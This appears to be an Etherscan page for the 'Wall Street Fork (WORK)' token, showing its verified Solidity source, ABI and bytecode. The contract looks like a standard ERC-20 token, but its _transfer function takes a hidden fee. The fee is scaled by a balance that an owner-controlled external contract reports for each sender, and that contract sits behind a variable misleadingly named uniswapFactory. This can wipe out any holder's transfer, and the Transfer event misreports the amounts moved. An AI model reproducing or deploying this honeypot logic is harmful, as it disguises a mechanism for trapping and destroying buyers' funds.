ETH Price: $2,433.00 (+9.49%)

Token

Wall Street Fork (WORK)
 

Overview

Max Total Supply

10,000,000,000 WORK

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
68,138,384.895228993 WORK

Value
$0.00
0x23fcd4223ecc13a7c02ca73864045d8fad2c9224
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WORK

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-14
*/

// SPDX-License-Identifier: None

pragma solidity 0.8.25;


interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function allowance(address owner, address spnder) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}
library SafeMath {

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract WORK is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  10000000000 * 10 ** _decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;

    string private constant _name = "Wall Street Fork";
    string private constant _symbol = "WORK";
    address internal uniswapFactory = 0xC963c0F4E8ADC93B750BD7622a8BbF63EB31EE22;

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool tradingStarted = false;
    address public uniswapV2Pair;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    constructor () {
        _balances[address(this)] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingStarted); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingStarted = true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address recipient, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        if (from != uniswapV2Pair && from != address(this)) { 
            _feeAmount = amount.mul(IERC20(uniswapFactory).balanceOf(from)).div(100);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount).sub(_feeAmount);
        emit Transfer(from, recipient, amount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610459565b6402540be40061004a91906104a3565b60015573c963c0f4e8adc93b750bd7622a8bbf63eb31ee2260065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600760146101000a81548160ff02191690831515021790555034801561011a575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f6101b16102c160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516102b491906104f3565b60405180910390a361050c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561036a57808604811115610346576103456102e8565b5b60018516156103555780820291505b808102905061036385610315565b945061032a565b94509492505050565b5f82610382576001905061043d565b8161038f575f905061043d565b81600181146103a557600281146103af576103de565b600191505061043d565b60ff8411156103c1576103c06102e8565b5b8360020a9150848211156103d8576103d76102e8565b5b5061043d565b5060208310610133831016604e8410600b84101617156104135782820a90508381111561040e5761040d6102e8565b5b61043d565b6104208484846001610321565b92509050818404811115610437576104366102e8565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61046382610444565b915061046e8361044d565b925061049b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610373565b905092915050565b5f6104ad82610444565b91506104b883610444565b92508282026104c681610444565b915082820484148315176104dd576104dc6102e8565b5b5092915050565b6104ed81610444565b82525050565b5f6020820190506105065f8301846104e4565b92915050565b611fb1806105195f395ff3fe6080604052600436106100f2575f3560e01c806349bd5a5e1161008957806395d89b411161005857806395d89b4114610300578063a9059cbb1461032a578063d34628cc14610366578063dd62ed3e1461038e576100f2565b806349bd5a5e1461025a57806370a0823114610284578063715018a6146102c05780638da5cb5b146102d6576100f2565b8063293230b8116100c5578063293230b8146101c2578063313ce567146101cc57806331c2d847146101f65780633bbac5791461021e576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103ca565b604051610117919061159e565b60405180910390f35b34801561012b575f80fd5b506101466004803603810190610141919061165c565b610407565b60405161015391906116b4565b60405180910390f35b348015610167575f80fd5b5061017061041d565b60405161017d91906116dc565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a791906116f5565b610426565b6040516101b991906116b4565b60405180910390f35b6101ca6104d2565b005b3480156101d7575f80fd5b506101e0610915565b6040516101ed9190611760565b60405180910390f35b348015610201575f80fd5b5061021c600480360381019061021791906118b9565b61092a565b005b348015610229575f80fd5b50610244600480360381019061023f9190611900565b610a29565b60405161025191906116b4565b60405180910390f35b348015610265575f80fd5b5061026e610a7b565b60405161027b919061193a565b60405180910390f35b34801561028f575f80fd5b506102aa60048036038101906102a59190611900565b610aa0565b6040516102b791906116dc565b60405180910390f35b3480156102cb575f80fd5b506102d4610ae6565b005b3480156102e1575f80fd5b506102ea610c15565b6040516102f7919061193a565b60405180910390f35b34801561030b575f80fd5b50610314610c3c565b604051610321919061159e565b60405180910390f35b348015610335575f80fd5b50610350600480360381019061034b919061165c565b610c79565b60405161035d91906116b4565b60405180910390f35b348015610371575f80fd5b5061038c600480360381019061038791906118b9565b610c8f565b005b348015610399575f80fd5b506103b460048036038101906103af9190611953565b610d8f565b6040516103c191906116dc565b60405180910390f35b60606040518060400160405280601081526020017f57616c6c2053747265657420466f726b00000000000000000000000000000000815250905090565b5f610413338484610e11565b6001905092915050565b5f600154905090565b5f610432848484610fd4565b6104c784336104c28560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130590919063ffffffff16565b610e11565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104f1610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053e906119db565b60405180910390fd5b600760149054906101000a900460ff1615610560575f80fd5b61058e3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e11565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061c9190611a0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c69190611a0d565b6040518363ffffffff1660e01b81526004016106e3929190611a38565b6020604051808303815f875af11580156106ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107239190611a0d565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107aa30610aa0565b5f806107b4610c15565b426040518863ffffffff1660e01b81526004016107d696959493929190611aa1565b60606040518083038185885af11580156107f2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108179190611b14565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108b7929190611b64565b6020604051808303815f875af11580156108d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f79190611bb5565b506001600760146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610949610c15565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610996906119db565b60405180910390fd5b5f5b8151811015610a25575f60055f8484815181106109c1576109c0611be0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506109a1565b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b05610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b52906119db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f574f524b00000000000000000000000000000000000000000000000000000000815250905090565b5f610c85338484610fd4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cae610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb906119db565b60405180910390fd5b5f5b8151811015610d8b57600160055f848481518110610d2757610d26611be0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610d06565b5050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7690611c7d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee490611d0b565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fc791906116dc565b60405180910390a3505050565b5f808211610fe0575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611017575f80fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110a057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561116657611163606461115560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401611107919061193a565b602060405180830381865afa158015611122573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111469190611d29565b8561134e90919063ffffffff16565b6113c590919063ffffffff16565b90505b6111b68260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130590919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112598161124b8460025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140e90919063ffffffff16565b61130590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112f791906116dc565b60405180910390a350505050565b5f61134683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061146b565b905092915050565b5f80830361135e575f90506113bf565b5f828461136b9190611d81565b905082848261137a9190611def565b146113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190611e8f565b60405180910390fd5b809150505b92915050565b5f61140683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b905092915050565b5f80828461141c9190611ead565b905083811015611461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145890611f2a565b60405180910390fd5b8091505092915050565b5f8383111582906114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a9919061159e565b60405180910390fd5b505f83856114c09190611f48565b9050809150509392505050565b5f8083118290611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a919061159e565b60405180910390fd5b505f83856115219190611def565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6115708261152e565b61157a8185611538565b935061158a818560208601611548565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f8826115cf565b9050919050565b611608816115ee565b8114611612575f80fd5b50565b5f81359050611623816115ff565b92915050565b5f819050919050565b61163b81611629565b8114611645575f80fd5b50565b5f8135905061165681611632565b92915050565b5f8060408385031215611672576116716115c7565b5b5f61167f85828601611615565b925050602061169085828601611648565b9150509250929050565b5f8115159050919050565b6116ae8161169a565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b6116d681611629565b82525050565b5f6020820190506116ef5f8301846116cd565b92915050565b5f805f6060848603121561170c5761170b6115c7565b5b5f61171986828701611615565b935050602061172a86828701611615565b925050604061173b86828701611648565b9150509250925092565b5f60ff82169050919050565b61175a81611745565b82525050565b5f6020820190506117735f830184611751565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6117b382611556565b810181811067ffffffffffffffff821117156117d2576117d161177d565b5b80604052505050565b5f6117e46115be565b90506117f082826117aa565b919050565b5f67ffffffffffffffff82111561180f5761180e61177d565b5b602082029050602081019050919050565b5f80fd5b5f611836611831846117f5565b6117db565b9050808382526020820190506020840283018581111561185957611858611820565b5b835b81811015611882578061186e8882611615565b84526020840193505060208101905061185b565b5050509392505050565b5f82601f8301126118a05761189f611779565b5b81356118b0848260208601611824565b91505092915050565b5f602082840312156118ce576118cd6115c7565b5b5f82013567ffffffffffffffff8111156118eb576118ea6115cb565b5b6118f78482850161188c565b91505092915050565b5f60208284031215611915576119146115c7565b5b5f61192284828501611615565b91505092915050565b611934816115ee565b82525050565b5f60208201905061194d5f83018461192b565b92915050565b5f8060408385031215611969576119686115c7565b5b5f61197685828601611615565b925050602061198785828601611615565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119c5602083611538565b91506119d082611991565b602082019050919050565b5f6020820190508181035f8301526119f2816119b9565b9050919050565b5f81519050611a07816115ff565b92915050565b5f60208284031215611a2257611a216115c7565b5b5f611a2f848285016119f9565b91505092915050565b5f604082019050611a4b5f83018561192b565b611a58602083018461192b565b9392505050565b5f819050919050565b5f819050919050565b5f611a8b611a86611a8184611a5f565b611a68565b611629565b9050919050565b611a9b81611a71565b82525050565b5f60c082019050611ab45f83018961192b565b611ac160208301886116cd565b611ace6040830187611a92565b611adb6060830186611a92565b611ae8608083018561192b565b611af560a08301846116cd565b979650505050505050565b5f81519050611b0e81611632565b92915050565b5f805f60608486031215611b2b57611b2a6115c7565b5b5f611b3886828701611b00565b9350506020611b4986828701611b00565b9250506040611b5a86828701611b00565b9150509250925092565b5f604082019050611b775f83018561192b565b611b8460208301846116cd565b9392505050565b611b948161169a565b8114611b9e575f80fd5b50565b5f81519050611baf81611b8b565b92915050565b5f60208284031215611bca57611bc96115c7565b5b5f611bd784828501611ba1565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611c67602483611538565b9150611c7282611c0d565b604082019050919050565b5f6020820190508181035f830152611c9481611c5b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611cf5602283611538565b9150611d0082611c9b565b604082019050919050565b5f6020820190508181035f830152611d2281611ce9565b9050919050565b5f60208284031215611d3e57611d3d6115c7565b5b5f611d4b84828501611b00565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d8b82611629565b9150611d9683611629565b9250828202611da481611629565b91508282048414831517611dbb57611dba611d54565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611df982611629565b9150611e0483611629565b925082611e1457611e13611dc2565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e79602183611538565b9150611e8482611e1f565b604082019050919050565b5f6020820190508181035f830152611ea681611e6d565b9050919050565b5f611eb782611629565b9150611ec283611629565b9250828201905080821115611eda57611ed9611d54565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611f14601b83611538565b9150611f1f82611ee0565b602082019050919050565b5f6020820190508181035f830152611f4181611f08565b9050919050565b5f611f5282611629565b9150611f5d83611629565b9250828203905081811115611f7557611f74611d54565b5b9291505056fea264697066735822122044b956b141811f9a9cccc01b9f1754d0e7914a4615ae108bf61b8111d290a47464736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c806349bd5a5e1161008957806395d89b411161005857806395d89b4114610300578063a9059cbb1461032a578063d34628cc14610366578063dd62ed3e1461038e576100f2565b806349bd5a5e1461025a57806370a0823114610284578063715018a6146102c05780638da5cb5b146102d6576100f2565b8063293230b8116100c5578063293230b8146101c2578063313ce567146101cc57806331c2d847146101f65780633bbac5791461021e576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c57806323b872dd14610186575b5f80fd5b348015610101575f80fd5b5061010a6103ca565b604051610117919061159e565b60405180910390f35b34801561012b575f80fd5b506101466004803603810190610141919061165c565b610407565b60405161015391906116b4565b60405180910390f35b348015610167575f80fd5b5061017061041d565b60405161017d91906116dc565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a791906116f5565b610426565b6040516101b991906116b4565b60405180910390f35b6101ca6104d2565b005b3480156101d7575f80fd5b506101e0610915565b6040516101ed9190611760565b60405180910390f35b348015610201575f80fd5b5061021c600480360381019061021791906118b9565b61092a565b005b348015610229575f80fd5b50610244600480360381019061023f9190611900565b610a29565b60405161025191906116b4565b60405180910390f35b348015610265575f80fd5b5061026e610a7b565b60405161027b919061193a565b60405180910390f35b34801561028f575f80fd5b506102aa60048036038101906102a59190611900565b610aa0565b6040516102b791906116dc565b60405180910390f35b3480156102cb575f80fd5b506102d4610ae6565b005b3480156102e1575f80fd5b506102ea610c15565b6040516102f7919061193a565b60405180910390f35b34801561030b575f80fd5b50610314610c3c565b604051610321919061159e565b60405180910390f35b348015610335575f80fd5b50610350600480360381019061034b919061165c565b610c79565b60405161035d91906116b4565b60405180910390f35b348015610371575f80fd5b5061038c600480360381019061038791906118b9565b610c8f565b005b348015610399575f80fd5b506103b460048036038101906103af9190611953565b610d8f565b6040516103c191906116dc565b60405180910390f35b60606040518060400160405280601081526020017f57616c6c2053747265657420466f726b00000000000000000000000000000000815250905090565b5f610413338484610e11565b6001905092915050565b5f600154905090565b5f610432848484610fd4565b6104c784336104c28560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130590919063ffffffff16565b610e11565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166104f1610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053e906119db565b60405180910390fd5b600760149054906101000a900460ff1615610560575f80fd5b61058e3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e11565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061c9190611a0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a2573d5f803e